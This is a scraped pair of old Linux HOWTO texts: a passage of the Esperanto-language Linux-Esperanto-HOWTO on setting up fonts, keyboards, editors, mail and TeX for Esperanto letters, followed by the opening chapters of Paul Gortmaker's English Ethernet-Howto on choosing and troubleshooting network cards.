Xfsft estas pli norma, sed pli malfacile instalebla solvo. Gxi estas fliko por X-fenestroj. Do oni devas elpaki la fontaron de X, poste fliki gxin per xfsft kaj rekompili. Por Linux ankaux ekzistas jam kompilita versio. La programon Xfs (X-Font-Server) vi plej konvene lancxas en propra "init"-skripto. La tiparojn oni poste instalas same kiel aliajn X-tiparojn.

Same kiel cxe xfstt oni povas servi unikodan tiparon laux diversaj kodoj. Ekzemple la linioj

  arial.ttf -microsoft-arial-medium-r-normal--0-0-0-0-p-0-iso8859-1
  arial.ttf -microsoft-arial-medium-r-normal--0-0-0-0-p-0-iso8859-2
  arial.ttf -microsoft-arial-medium-r-normal--0-0-0-0-p-0-iso8859-3
en fonts.dir servas la tiparon Arial en la kodoj Latin-1, Latin-2 kaj Latin-3. Atentu, ke en la versio 1.0.1 estis eraro pri Latin-3, kiu en la sekvaj versioj estas korektita.

5.2 Tajpi E-signojn

La X-fenestro-sistemo permesas difini reagojn al klavpremoj de la "kompona klavo" (plej ofte tiu estas difinita kiel AltGr) plus alia klavo.

Ekzemple sur germana klavaro AltGr+q donas la signon '@'

Per la programo xmodmap oni povas difini, ke

  AltGr+c -> cx
  AltGr+Shift+c -> Cx
  ...

Por tio metu en vian uzanto-dosierujon dosieron ~/.Xmodmap. (Ofte gxi jam estas tie kaj vi nur bezonas modifi gxin.) Kaj aldonu la sekvajn liniojn:

  keycode  54 = C NoSymbol AE
  keycode  42 = G NoSymbol Ooblique
  keycode  43 = H NoSymbol paragraph brokenbar
  keycode  44 = J NoSymbol onequarter notsign
  keycode  39 = S NoSymbol Thorn
  keycode  30 = U NoSymbol Yacute

Ne cxiuj programoj gxuste traktas tion. Alia ebleco (vi povas uzi ambaux variantojn samtempe) do estas, meti la 12 esperantoliterojn sur la 12 funkcio-klavojn:

  keysym F1 = F1 ae
  keysym F2 = F2 AE
  keysym F3 = F3 oslash
  keysym F4 = F4 Ooblique
  keysym F5 = F5 paragraph
  keysym F6 = F6 brokenbar
  keysym F7 = F7 onequarter
  keysym F8 = F8 notsign
  keysym F9 = F9 thorn
  keysym F10 = F10 Thorn
  keysym F11 = F11 yacute
  keysym F12 = F12 Yacute

Certigu, ke dum la starto de la X-fenestro-sistemo lancxigxas la ordono xmodmap ~/.Xmodmap. Normale en /usr/X11R6/lib/X11/xinit/xinitrc jam trovigxas linioj kiel

  usermodmap=$HOME/.Xmodmap
  if [ -f $usermodmap ]; then
    xmodmap $usermodmap
  fi


Linux-Esperanto-HOWTO: KDE

 Next Previous Contents

6. KDE

La X-fenestra labormedio KDE dekomence estas evoluigita por uzado kun multaj lingvoj. La versioj 1.x bazigxas sur okbitaj signokodoj. Laux la respondeculoj, de la versio 2.0 gxi interne uzos Unikodon (fine de 1999).

La jxus aperinta versio 1.1 enhavas esperantan adapton por multaj programoj. Vi devas elekti en la lingvoagordilo Esperanton por vidi la menuojn, dialogojn ktp. en Esperanto. Por tio aktuale estas uzata Latin-3.

Ekzistas ankaux iom da subteno por UTF-8. Tamen nur tiel, ke gxi provas rebildigi la unikodajn signojn al signoj de la aktuale uzata tiparo. Do rigardante UTF-8-koditan esperantan TTT-pagxon uzante Latin-3-tiparon, vi vidas la Esperanto-signojn, sed ekzemple neniujn cirilajn signojn sampagxe. Krome pro la rebildigo la distancoj al la najbaraj signoj ne estas gxustaj.


Linux-Esperanto-HOWTO: Netscape Communicator

 Next Previous Contents

7. Netscape Communicator

Ofta bezono de Esperanto-tiparoj estigxas dum la legado de interretaj pagxoj kaj diskutgrupaj artikoloj. Netscape Communicator ja permesas difini kaj uzi multajn diversajn kodojn por rigardi diverslingvajn dokumentojn, sed bedauxrinde gxi ne rekte subtenas Latin-3-kodon. Anstatauxe vi povas uzi la kodon "User-defined". Por tio elektu en la menuo "Edit Preferences", iru al la dialogo "Appearance Fonts", elektu tie la kodon "User-defined" kaj alordigu konvenajn Latin-3-tiparojn.

Nun vi povas elekti en la menuo "View Encoding User-Defined" por legi dokumenton koditan laux normo Latin-3.

Tamen ekzistas pagxoj, kiujn Netscape Communicator cxiam montras per la Latin-1-tiparo. Por rigardi cxiujn pagxojn kun Latin-3-tiparo, vi povus en la dialogo "Appearance Fonts" elekti Latin-3-tiparon por la kodo "Western (iso-8859-1)". Tio ne estas simpla, cxar Netscape por tiu kodo nur akceptas tiparojn, kies nomoj finigxas per "-1". Tial vi devas aldoni kelkajn liniojn en la dosiero "fonts.alias" de la dosierujo kun Latin-3-tiparoj. Por cxiu Latin-3-tiparo, kiun Netscape uzu, aldonu liniojn kiel la sekvajn:

    "-adobe-helvetica-medium-r-normal--8-80-75-75-p-46-iso8859-3" 3adobe-helvetica-8
    "-adobe-helvetica3-medium-r-normal--8-80-75-75-p-46-iso8859-1" 3adobe-helvetica-8

Poste, vi povas alordigi la tiparon kiel "Helvetica3 (Adobe)" al la kodo "Western (iso-8859-1)".

Bedauxrinde oni ne povas legi la esperantajn literojn en unikodaj tekstoj. Unikodaj tekstoj estas aperigitaj tiel, ke la signoj estas prenitaj el konvenaj okbitaj tiparoj. Tiel vi bone povas legi cirilajn, grekajn ecx cxinajn literojn, sed pro la nesuficxa subteno de Latin-3 anstataux supersignaj literoj vi vidas nur demandosignon :-(

Cetere mi rimarkis eraron en Netscape Communicator 4.0x Se oni legas diskutgrupon, oni komence ne vidas Esperanto-signojn, kvankam kiel kutima kodo estas elektita "User-Defined". Sed post elekto de iu alia kodo kaj posta reelekto de la kodo "User-Defined" vi vidas la e-ajn signojn.


Linux-Esperanto-HOWTO: Xterm

 Next Previous Contents

8. Xterm

Por vidi esperantajn signojn en Xterm, vi povas meti la sekvan linion en la dosieron ~/.Xresources:

  xterm*font: <tiparnomo>

Kiel <tiparnomo>n donu iun konvenan Latin-3-tiparon. (t.e. unu el la nomoj ricevitaj per xlsfonts -fn *iso8859-3).

Aux voku Xterm rekte tiel:

  xterm -fn <tiparnomo>

Tio funkcias ankaux en kelkaj aliaj programoj, ekz. en Emakso. Se vi ofte bezonas jen vian nacian jen Latin-3an kodon, estas rekomendinde difini alinomon en .bashrc:

  alias eterm='xterm -fn fixed-l3' # simile por aliaj programoj


Linux-Esperanto-HOWTO: Redaktiloj

 Next Previous Contents

9. Redaktiloj

9.1 Redaktiloj kun Latin-3/Unikod-subteno

Redaktiloj, kiuj kapablas trakti Latin-3 kaj/aux Unikodon estas la Vi-variantoj Vim kaj Elvis kaj redaktiloj Yudit, Wily, Sam, SSam. UTF-respekta pakajxo de regulaj esprimoj estas cxe http://www.westley.demon.co.uk/src/libutf-2.10.tar.gz, kiun ekzemple bezonas SSam.

Pli da informoj pri Wily kaj Sam vi trovas ankaux en la arhxivo de posxtlisto pri Wily.

Al Emakso ni dedicxas apartan cxapitron.

9.2 Vi (Elvis, Vim)

Kun la Vi-variantoj Vim kaj Elvis en la aktualaj versioj vi povas senprobleme uzi la samajn latin-3-tiparojn kiel kun Xterm.

Se vi lancxas ilin en propra fenestro, uzu la elekton -fn <tiparnomo>:

  elvis -fn fixed-l3
  vim -g -fn fixed-l3

Por tajpi esperantajn signojn, vi povas aux uzi la metodon laux la 3a cxapitro aux uzi la sekvajn difinojn:

  digraph G^ X
  digraph g^ x
  digraph H^ &
  digraph h^ 6
  digraph J^ ,
  digraph j^ <
  digraph C^ F
  digraph c^ f
  digraph S^ ^
  digraph s^ ~
  digraph U^ ]
  digraph u^ }
  set digraph

Metu tiujn difinojn en dosieron, ekz. ~/.elvis.lat3 kaj lancxu:

  elvis -fn fixed-l3 +source~/.elvis.lat3

Nun vi povas tajpi ekz. la literon gx per la klavoj ^Kg^ (Ctrl-k g cirkumflekso) aux cirkumflekso, retropasxo, g.

Vim kaj Elvis vi trovas jen ankaux en Interreto.


Linux-Esperanto-HOWTO: Redakti per Emakso (Emacs)

 Next Previous Contents

10. Redakti per Emakso (Emacs)

10.1 Emakso 19.34

Vidi E-signojn

Por vidi E-signojn en Emakso, vi devas certigi, ke Emakso uzas Latin-3-tiparon. Tion vi povas atingi per aldono de la sekva linio en la dosiero ~/.Xdefaults:

  Emacs.font: <tiparnomo>

Kiel <tiparnomo>n indiku iun konvenan Latin-3-tiparon.

Same kiel cxe Xterm kaj kelkaj aliaj programoj funkcias:

  emacs -fn <tiparnomo>

Tajpi

Se vi uzas Emakson sub X-fenestroj vi per la solvo realigita sub cxapitro 3 bone povas tajpi. Sed ekzistas alia alternativo, la moduso "iso-accents-mode". Por instrui al tiu moduso la lingvon Esperanto, aldonu tauxgajn difinojn en la dosiero iso-acc.el.

  ("esperanto"
   (?^ (?C . ?\306) (?G . ?\330) (?H . ?\246) (?J . ?\254)
        (?S . ?\336) (?U . ?\335) (?c . ?\346) (?g . ?\370)
        (?h . ?\266) (?j . ?\274) (?s . ?\376) (?u . ?\375))
   (?' (?C . ?\306) (?G . ?\330) (?H . ?\246) (?J . ?\254)
        (?S . ?\336) (?U . ?\335) (?c . ?\346) (?g . ?\370)
        (?h . ?\266) (?j . ?\274) (?s . ?\376) (?u . ?\375))
  )

La sintakson divenu de la jam enhavitaj lingvoj, gxi iom varias en la diversaj Emaks-versioj. La supra ekzemplo difinas la esperantosignojn por la kombinoj ^+<litero> kaj '+<litero>. Poste kompilu la dosieron al iso-acc.elc. Ekde nun vi povas funkciigi viajn tajperojn per la komandoj:

  M-x iso-accents-mode
  M-x iso-accents-customize
    language: Esperanto

Atentu, ke se la cirkumflekso cxe vi estas senpasxa klavo (t.e. gxi aperas nur post premo de ^(cirkumflekso) kaj alia klavo), vi ne povas uzi gxin en tiu Emaks-moduso, anstatauxe uzu alian signon, ekz. '+c por tajpi cx. Kelkaj ecx tajpas c+x por cx.

Por pli facile atingi tiun tajpmoduson, metu la sekvajn liniojn en la dosieron ~/.emacs:

  (defun esperanto-mode ()
    (interactive)
    (iso-accents-mode)
    (iso-accents-customize "esperanto")
  )
  (global-set-key "\C-ce" 'esperanto-mode)

Poste per premo de C-c e (t.e. Ctrl+c e) vi trovigxas en Esperanto-moduso. Estus avantagxe, difini ankaux tian klavmallongigon por reatingi normalan moduson.

10.2 Emakso 20.* kaj MULE

notoj: Pri tiuj Emakso-variantoj Lee Sau Dan donis la sekvajn indikojn:

  • Emakso 20.* kaj MULE normale povas trovi la tauxgajn tiparojn, se ili jam estas instalitaj en la X-servilo aux tiparserviloj.
  • Emakso 20.* povas montri latin-3-literojn se vi uzas gxin sur teksta ekrano kun funkciigita latin-3-a tiparo. Informu Emakson pri tio per la klavpremoj:

  C-x C-m t iso-8859-3 RET
  • Por tajpado de Esperantosignoj, klavu unu el:

  C-u C-\ esperanto-postfix
  C-u C-\ esperanto-prefix
  C-u C-\ esperanto-alt-postfix
  • Utilas ankaux
      M-x set-language-environment latin-3 RET
    aux se vi ofte bezonas tion, metu en .gnu-emacs ekzemple:

  (set-language-environment "latin-3")
  (setq default-input-method "esperanto-postfix")

    • Next Previous Contents


Linux-Esperanto-HOWTO: Retposxto per Xfmail 1.3

 Next Previous Contents

11. Retposxto per Xfmail 1.3

Xfmail estas retposxtprogramo kun plena MIME-subteno. Oni agordas gxin ene de la grafika surfaco. Sub la menuo "Misc" vi povas elekti diversajn menupunktojn por la konfigurado.

La menupunkto "Appearance" kondukas al listo, kie oni povas rilatigi kodojn kaj tiparojn. Unue premu "Add" kaj indiku la plenan nomon de latin-3-tiparo. Ekz.

  -adobe-helvetica-medium-r-normal--12-120-75-75-p-67-iso8859-3

La tiparnomo nun aperas en la maldekstra listo. Por rilatigi gxin al la kodo "iso-8859-3" vi devas unue elekti tiun kodon en la dekstra listo kaj poste elekti la tiparon en la maldekstra listo. Nun premu "OK".

Xfmail enhavas internan redkatilon per kies menuo "Language" vi povas elekti la gxustan kodon.

Se vi volas uzi eksteran redaktilon vi povas iri per la menupunkto "Config Misc" kaj la butono "View/Edit" al pagxo, kie vi povas indiki gxin, ekzemple per:

  elvis -fn <tiparnomo> +source~/.elvis.lat3

Jen vi trovas Xfmail en la reto.

Atentu ankoraux alian aferon. Estas ne cxiam facile sendi okbitan mesagxon. Cxar kelkaj serviloj ankoraux funkcias sepbite kaj simple ignoras la okan biton tiel, ke viaj E-literoj farigxas iuj aliaj signoj. Se vi tamen volas sendi okbite kaj uzas lokan Sendmail, vi startu gxin kun la elekto -B8BITMIME.

Por trasendi okbitajn mesagxojn tra sepbitaj medioj ekzistas la normo "quoted printable". Tiu rekodas okbitajn signoj per signaro =NN, cxe kio NN estas la kodero de la signo. Mi rekomendas ensxalti tiun rekodon. Per la menupunkto "Config Display" kaj la butono "Charsets" vi povas aperigi pagxon, kiu ebligas ensxalti "Quoted-printable" kaj ankaux elekti la kodon, kiun XFMail automate ensxaltu, kiam vi skribas novan mesagxon aux respondas al retmesagxo.


Linux-Esperanto-HOWTO: Diskutgrupoj per Knews

 Next Previous Contents

12. Diskutgrupoj per Knews

Knews (Karl's threaded newsreader for X) estas legilo por diskutgrupoj, kiu kapablas rekoni kaj skribi gxustajn MIME-kapliniojn pri la signokodo. Por uzi Latin-3 oni devas aldoni kelkajn liniojn al la agordaj dosieroj.

Dum la instalo de Knews, la dosiero Knews.ad estas kopiata el la fontdosierujo al /usr/X11R6/lib/X11/app-defaults/Knews.

Aldonu en tiu dosiero la sekvajn liniojn:

  Knews.iso-8859-3.bodyFont:      \
            -*-helvetica-medium-r-normal-*-*-120-*-*-*-*-iso8859-3
  Knews.iso-8859-3.quoteFont:     \
            -*-helvetica-medium-r-normal-*-*-120-*-*-*-*-iso8859-3
  Knews.iso-8859-3.headerFont:    \
            -*-helvetica-medium-r-normal-*-*-120-*-*-*-*-iso8859-3

  Knews.editCommand: elvis +%i %s -fn fixed-l3 +source~/.elvis.lat3

Anstataux Elvis vi povas ankaux uzi ekzemple Emakson kiel redaktilo.

Por povi legi ankaux esperantajn afisxojn kun malgxusta kaplinio pri kodo aux koditajn laux UTF-8, estas avantagxe aldoni sub

  Knews.baseTranslations: #override \n\

la linion:

  c    <Key> e:          mime-hack(text/plain, 8bit) \n\
  c s  <Key> u:          mime-hack(text/utf8, 8bit)  \n\

Atentu, la \n\, kiu finu cxiun linion en la alineo krom la lastan.

Nun per Ctrl-e oni povas sxalti en cxiu afisxo al la implicita kodo. Per Ctrl-Shift-u vi povas sxalti al la MIME-tipo text/utf8. Cxar Knews ne scias trakti gxin, gxi demandas Metamail kaj montras la tekston kiel difinita en /etc/mailcap. En la sekcio pri Metmail ni difinis, ke text/utf8 estu konvertata al Latin-3. Tial sxangxu ankaux la linion pri Knews.copiousoutput al:

  Knews.copiousOutput:  exec xterm \
        -fn 'fixed-l3' -e /bin/sh -c '(%C) | less'

Anstataux fixed-l3 enmetu la de vi preferatan Latin-3-tiparon.

La implicitan kodon (uzatan cxe Ctrl-e) oni difinas en la dosiero ~/.knews/config-* (* estas la uzata diskutgrupa servilo. Tiu dosiero estas auxtomate kreata cxe la unua lancxo de Knews. Aldonu la sekvan linion:

  *esperanto*defaultCharset:  iso-8859-3

Nun en cxiu diskutgrupo, kiu enhavas la nomon "esperanto", estas uzata la kodo Latin-3 kiel implicita.

Jen vi trovas Knews en Interreto.


Linux-Esperanto-HOWTO: TeX / LaTeX

 Next Previous Contents

13. TeX / LaTeX

Por produkti la supersignajn literojn en TeX, vi normale tajpas:

  \^C \^c \^G \^g \^H \^h \^J \^{\j} \^S \^s \u{U} \u{u}

La \j cetere estas 'j' sen la punkto. Tamen, se vi skribas longajn tekstojn, estas iom tede skribi tiujn ordonojn. Do estas avantagxe krei dosieron esperanto.sty kun la sekva enhavo:

  \let\mathcaret=^

  \def\esperantocaret#1{
    \ifx#1u\u{#1}\else
    \ifx#1U\u{#1}\else
    \ifx#1j\^{\j}\else
    \^{#1}\fi\fi\fi
  }

  \catcode`\^=\active

  \def^{\ifmmode\let\next\mathcaret
      \else\let\next\esperantocaret
      \fi\next}

Tio permesas skribi ^C ^c ... ^U ^u por la esperantaj literoj. Iom komplikas la aferon, ke la signo ^ estas ankaux uzata por supraj indicoj en la matematika moduso, t. e. por matematikaj formuloj. Do vi ne povas uzi tiujn mallongigojn en formuloj ekzemple. (Pro tio ankaux la konfuzigaj linioj kun "mathcaret" en la supraj difinoj)

Tamen la supra solvo povas kauxzi diversajn problemojn kun makrooj aux en matematikaj formuloj. Pro tio Albert Reiner sendis al mi pli bonan solvon, kiu uzas la grado-signon anstataux la tegmenteto:

  \gdef\espon{\catcode`\*\active\relax}%
  \gdef\espoff{\catcode`\*12\relax}%
  %
  {%
  \catcode`\@11   % por kasxi kelkajn makrojn
  \espon          % ensxalti Esperanton por la difinoj
  \gdef*{\relax\esper@nto}%
  \gdef\esper@nto#1{%
  \ifx #1C\^C%
  \else\ifx #1c\^c%
  \else\ifx #1G\^G%
  \else\ifx #1g\^g%
  \else\ifx #1H\^H%
  \else\ifx #1h\^h%
  \else\ifx #1J\^J%
  \else\ifx #1j\^\j%
  \else\ifx #1S\^S%
  \else\ifx #1s\^s%
  \else\ifx #1U\u U%
  \else\ifx #1u\u u%
  \fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi\fi}%
  }%
  \espon          % ensxalti Esperanton

(rim.: En la supra ekzemplo anstatauxigu la steleton * per la gradosigno . La sintakso de la SGML-dokumenttipo ne traktas gradosignon en tiu loko gxuste.)

Se vi ebligis la uzadon de Latin-3 en via sxatata redaktilo, vi povas ankaux rekte traduki la Latin-3-kodojn al la esperantaj signoj:

  \catcode`\cx=\active \defcx{\^c}
  \catcode`\gx=\active \defgx{\^g}
  \catcode`\hx=\active \defhx{\^h}
  \catcode`\jx=\active \defjx{\^\j}
  \catcode`\sx=\active \defsx{\^s}
  \catcode`\ux=\active \defux{\u u}
  \catcode`\Cx=\active \defCx{\^C}
  \catcode`\Gx=\active \defGx{\^G}
  \catcode`\Hx=\active \defHx{\^H}
  \catcode`\Jx=\active \defJx{\^J}
  \catcode`\Sx=\active \defSx{\^S}
  \catcode`\Ux=\active \defUx{\u U}

Noto: En la supra ekzemplo vi devas anstatauxigi la esperantajn literojn cx ... Ux en cxiu linio kaj maldekstre kaj dekstre per la gxustaj literoj laux Latin-3-kodo.

Cetere pli ampleksa dosiero esperant.sty estas enhavata en la Babel-pakajxo por LaTeX2e. Simple kontrolu per locate esperant, cxu gxi eble jam estas instalita cxe vi. Gxi ekzemple ankaux kreas esperantajn titolojn en la enhavtabelo kaj indeksoj.

Por uzi la pakajxon, tajpu

sub TeX:

  \input{esperant.sty}

sub LaTeX:

  \usepackage[esperanto]{babel}

Ioma problemo estas, ke en tiparoj aliaj ol la normala "Computer Modern" ne trovigxas la senpunkta j. Por kasxi la punkton super j ekzistas dosiero dotlessj.sty. Detalaj informoj pri gxi trovigxas cxe Edmundo.


Linux-Esperanto-HOWTO: Esperanto-subteno en internaciigitaj programoj

 Next Previous Contents

14. Esperanto-subteno en internaciigitaj programoj

Kelkaj Gnu-programoj kaj aliaj estas internaciigitaj. T.e. iliaj mesagxoj povas aperi en diversaj lingvoj. Tamen la Esperanto-tradukoj de tiuj programoj nur nun estas komencataj. Sed ja vi povas kontroli, cxu en via sistemo ekzistas dosierujo /usr/share/locale/eo aux cxu cxe la fontdistribuoj de viaj programoj estas iuj dosieroj po/eo.po. Se jes, la programoj kapablas montri esperantajn mesagxojn. Por vidi tiujn mesagxojn, vi devas difini la variablon LANG aux LANGUAGE en la cxirkauxajxo de la programo.

Por unuopa ordono vi povas ekzemple tajpi tiel:

  LANG=eo <programo>

Aux vi povas dauxre difini la preferatajn lingvojn, se vi metas en vian startskripton ion kiel

  export LANG=eo:de:en  # en bash

  setenv LANG eo:de:en  # en tcsh

Tio signifas: lauxeble uzu Esperanton, alikaze la germanan lingvon, aux se ankaux tiu ne estas subtenata de la programo, uzu la anglan.

Forumo por la adaptado de linuksaj programoj al Esperanto cetere estas la retposxtlisto eo@li.org, al kiu vi povas aligxi per sendo de la vorto subscribe en la korpo de mesagxo al eo-request@li.org.


Linux-Esperanto-HOWTO: Esperanto-signoj en HTML-tekstoj

 Next Previous Contents

15. Esperanto-signoj en HTML-tekstoj

Vi povas uzi la Latin-3-koderojn por montri E-signojn en HTML-teksto. La normo volas, ke tiukaze vi metu la sekvan linion en la kapon (<head>...</head>) de via dosiero:

  <meta http-equiv="Content-type" content="text/html; charset=ISO-8859-3">

Bedauxrinde Netscape Communicator kaj eble ankaux aliaj TTT-legiloj misinterpretas tiun linion kaj malhelpas, ke ecx per via "User-defined"-kodo vidigxos E-signoj. Alikaze en TTT-legiloj kiuj bone atentas la normon (ekz. Kfm), vi vidas la esperantaj signojn nur, se tiu linio trovigxas en la dosiero.

Pri kodado per Unikodo, legu la informpagxon cxe Aaron Irvine. Pro la problemoj de Netscape Communicator rilate al E-signoj en Unikodo ni malrekomendas la uzon de Unikodo en pure esperantaj HTML-tekstoj. Por multlingvaj tekstoj eble ne ekzistas pli tauxga alternativo. Sed por Esperanto uzu prefere Latin-3 ankoraux iom da tempo.


Linux Ethernet-Howto

by Paul Gortmaker

v2.8, Oct 29, 2000

This is the Ethernet-Howto, which is a compilation of information about which ethernet devices can be used for Linux, and how to set them up. Note that this Howto is focused on the hardware and low level driver aspect of the ethernet cards, and does not cover the software end of things like ifconfig and route. See the Network Howto for that stuff.

1. Introduction

  • 1.1 New Versions of this Document
  • 1.2 Using the Ethernet-Howto
  • 1.3 HELP - It doesn't work!
  • 1.4 Type of cable that your card should support

2. Frequently Asked Questions

  • 2.1 What card should I buy for Linux?
  • 2.2 Alpha Drivers -- Getting and Using them
  • 2.3 Using More than one Ethernet Card per Machine
  • 2.4 The ether= thing didn't do anything for me. Why?
  • 2.5 Problems with NE1000 / NE2000 cards (and clones)
  • 2.6 Problems with SMC Ultra/EtherEZ and WD80*3 cards
  • 2.7 Problems with 3Com cards
  • 2.8 FAQs Not Specific to Any Card.

3. Performance Tips

  • 3.1 General Concepts
  • 3.2 ISA Cards and ISA Bus Speed
  • 3.3 Setting the TCP Rx Window
  • 3.4 Increasing NFS performance

4. Vendor/Manufacturer/Model Specific Information

  • 4.1 3Com
  • 4.2 Accton
  • 4.3 Allied Telesyn/Telesis
  • 4.4 AMD / Advanced Micro Devices
  • 4.5 Ansel Communications
  • 4.6 Apricot
  • 4.7 Arcnet
  • 4.8 AT&T
  • 4.9 Boca Research
  • 4.10 Cabletron
  • 4.11 Cogent
  • 4.12 Compaq
  • 4.13 Danpex
  • 4.14 D-Link
  • 4.15 DFI
  • 4.16 Digital / DEC
  • 4.17 Farallon
  • 4.18 Fujitsu
  • 4.19 Hewlett Packard
  • 4.20 IBM / International Business Machines
  • 4.21 ICL Ethernet Cards
  • 4.22 Intel Ethernet Cards
  • 4.23 Kingston
  • 4.24 LinkSys
  • 4.25 Microdyne (Eagle)
  • 4.26 Mylex
  • 4.27 Novell Ethernet, NExxxx and associated clones.
  • 4.28 Proteon
  • 4.29 Pure Data
  • 4.30 Racal-Interlan
  • 4.31 RealTek
  • 4.32 Sager
  • 4.33 Schneider & Koch
  • 4.34 SEEQ
  • 4.35 SMC (Standard Microsystems Corp.)
  • 4.36 Texas Instruments
  • 4.37 Thomas Conrad
  • 4.38 VIA
  • 4.39 Western Digital
  • 4.40 Winbond
  • 4.41 Xircom
  • 4.42 Zenith
  • 4.43 Znyx
  • 4.44 Identifying an Unknown Card
  • 4.45 Drivers for Non-Ethernet Devices

5. Cables, Coax, Twisted Pair

  • 5.1 Thin Ethernet (thinnet)
  • 5.2 Twisted Pair
  • 5.3 Thick Ethernet

6. Software Configuration and Card Diagnostics

  • 6.1 Configuration Programs for Ethernet Cards
  • 6.2 Diagnostic Programs for Ethernet Cards

7. Technical Information

  • 7.1 Programmed I/O vs. Shared Memory vs. DMA
  • 7.2 Performance Implications of Bus Width
  • 7.3 32 Bit (VLB/EISA/PCI) Ethernet Cards
  • 7.4 Writing a Driver
  • 7.5 Driver interface to the kernel
  • 7.6 Technical information from 3Com
  • 7.7 Notes on AMD PCnet / LANCE Based cards
  • 7.8 Multicast and Promiscuous Mode
  • 7.9 The Berkeley Packet Filter (BPF)

8. Networking with a Laptop/Notebook Computer

  • 8.1 Using SLIP
  • 8.2 PCMCIA Support
  • 8.3 ISA Ethercard in the Docking Station.
  • 8.4 Pocket / parallel port adaptors.

9. Miscellaneous.

  • 9.1 Passing Ethernet Arguments to the Kernel
  • 9.2 Using the Ethernet Drivers as Modules
  • 9.3 Related Documentation
  • 9.4 Disclaimer and Copyright
  • 9.5 Closing


Linux Ethernet-Howto: Introduction

 Next Previous Contents

1. Introduction

The Ethernet-Howto covers what cards you should and shouldn't buy; how to set them up, how to run more than one, and other common problems and questions. It contains detailed information on the current level of support for all of the most common ethernet cards available.

It does not cover the software end of things, as that is covered in the NET-3 Howto. Also note that general non-Linux specific questions about Ethernet are not (or at least they should not be) answered here. For those types of questions, see the excellent amount of information in the comp.dcom.lans.ethernet FAQ. You can FTP it from rtfm.mit.edu just like all the other newsgroup FAQs.

This present revision covers distribution kernels up to and including 2.2.17.

The Ethernet-Howto is by:

Paul Gortmaker, p_gortmaker@yahoo.com

The primary source of information for the initial ASCII-only version of the Ethernet-Howto was:

Donald J. Becker, becker@scyld.com

who we should thank for writing a lot of the ethernet card drivers that are presently available for Linux. He also is the author of the original NFS server too. Thanks Donald!

This document is Copyright (c) 1993-2000 by Paul Gortmaker. Please see the Disclaimer and Copying information at the end of this document ( copyright) for information about redistribution of this document and the usual `we are not responsible for what you manage to break...' type legal stuff.

1.1 New Versions of this Document

New versions of this document can be retrieved from:

Ethernet-HOWTO

or for those wishing to use FTP and/or get non-HTML formats:

Sunsite HOWTO Archive

This is the `official' location - it can also be found on various Linux WWW/ftp mirror sites. Updates will be made as new information and/or drivers becomes available. If this copy that you are reading is more than 6 months old, then you should check to see if an updated copy is available.

This document is available in various formats (postscript, dvi, ASCII, HTML, etc.). I would recommend viewing it in HTML (via a WWW browser) or the Postscript/dvi format. Both of these contain cross-references that are not included in the plain text ASCII format.

1.2 Using the Ethernet-Howto

As this guide is getting bigger and bigger, you probably don't want to spend the rest of your afternoon reading the whole thing. And the good news is that you don't have to read it all. The HTML and Postscript/dvi versions have a table of contents which will really help you find what you need a lot faster.

Chances are you are reading this document beacuse you can't get things to work and you don't know what to do or check. The next section ( HELP - It doesn't work!) is aimed at newcomers to linux and will point you in the right direction.

Typically the same problems and questions are asked over and over again by different people. Chances are your specific problem or question is one of these Frequently Asked Questions, and is answered in the FAQ portion of this document . ( The FAQ section). Everybody should have a look through this section before posting for help.

If you haven't got an ethernet card, then you will want to start with deciding on a card. ( What card should I buy...)

If you have already got an ethernet card, but are not sure if you can use it with Linux, then you will want to read the section which contains specific information on each manufacturer, and their cards. ( Vendor Specific...)

If you are interested in some of the technical aspects of the Linux device drivers, then you can have a browse of the section with this type of information. ( Technical Information)

1.3 HELP - It doesn't work!

Okay, don't panic. This will lead you through the process of getting things working, even if you have no prior background in linux or ethernet hardware.

First thing you need to do is figure out what model your card is so you can determine if Linux has a driver for that particular card. Different cards typically have different ways of being controlled by the host computer, and the linux driver (if there is one) contains this control information in a format that allows linux to use the card. If you don't have any manuals or anything of the sort that tell you anything about the card model, then you can try the section on helping with mystery cards (reference section: Identifying an Unknown Card).

Now that you know what type of card you have, read through the details of your particular card in the card specific section (reference section: Vendor Specific...) which lists in alphabetical order, card manufacturers, individual model numbers and whether it has a linux driver or not. If it lists it as `Not Supported' you can pretty much give up here. If you can't find your card in that list, then check to see if your card manual lists it as being `compatible' with another known card type. For example there are hundreds, if not thousands of different cards made to be compatible with the original Novell NE2000 design.

Assuming you have found out that a linux driver exists for your card, you now have to find it and make use of it. Just because linux has a driver for your card does not mean that it is built into every kernel. (The kernel is the core operating system that is first loaded at boot, and contains drivers for various pieces of hardware, among other things.) Depending on who made the particular linux distribution you are using, there may be only a few pre-built kernels, and a whole bunch of drivers as smaller separate modules, or there may be a whole lot of kernels, covering a vast combination of built-in driver combinations.

Most linux distributions now ship with a bunch of small modules that are the various drivers. The required modules are typically loaded late in the boot process, or on-demand as a driver is needed to access a particualr device. You will need to attach this module to the kernel after it has booted up. See the information that came with your distribution on installing and using modules, along with the module section in this document. ( Using the Ethernet Drivers as Modules)

If you didn't find either a pre-built kernel with your driver, or a module form of the driver, chances are you have a typically uncommon card, and you will have to build your own kernel with that driver included. Once you have linux installed, building a custom kernel is not difficult at all. You essentially answer yes or no to what you want the kernel to contain, and then tell it to build it. There is a Kernel-HowTo that will help you along.

At this point you should have somehow managed to be booting a kernel with your driver built in, or be loading it as a module. About half of the problems people have are related to not having driver loaded one way or another, so you may find things work now.

If it still doesn't work, then you need to verify that the kernel is indeed detecting the card. To do this, you need to type dmesg | more when logged in after the system has booted and all modules have been loaded. This will allow you to review the boot messages that the kernel scrolled up the screen during the boot process. If the card has been detected, you should see somewhere in that list a message from your card's driver that starts with eth0, mentions the driver name and the hardware parameters (interrupt setting, input/output port address, etc) that the card is set for. (Note: At boot, linux lists all the PCI cards installed in the system, regardless of what drivers are available - do not mistake this for the driver detection which comes later!)

If you don't see a driver indentification message like this, then the driver didn't detect your card, and that is why things aren't working. See the FAQ ( The FAQ Section) for what to do if your card is not detected. If you have a NE2000 compatible, there is also some NE2000 specific tips on getting a card detected in the FAQ section as well.

If the card is detected, but the detection message reports some sort of error, like a resource conflict, then the driver probably won't have initialized properly and the card still wont be useable. Most common error messages of this sort are also listed in the FAQ section, along with a solution.

If the detection message seems okay, then double check the card resources reported by the driver against those that the card is physically set for (either by little black jumpers on the card, or by a software utility supplied by the card manufacturer.) These must match exactly. For example, if you have the card jumpered or configured to IRQ 15 and the driver reports IRQ 10 in the boot messages, things will not work. The FAQ section discusses the most common cases of drivers incorrectly detecting the configuration information of various cards.

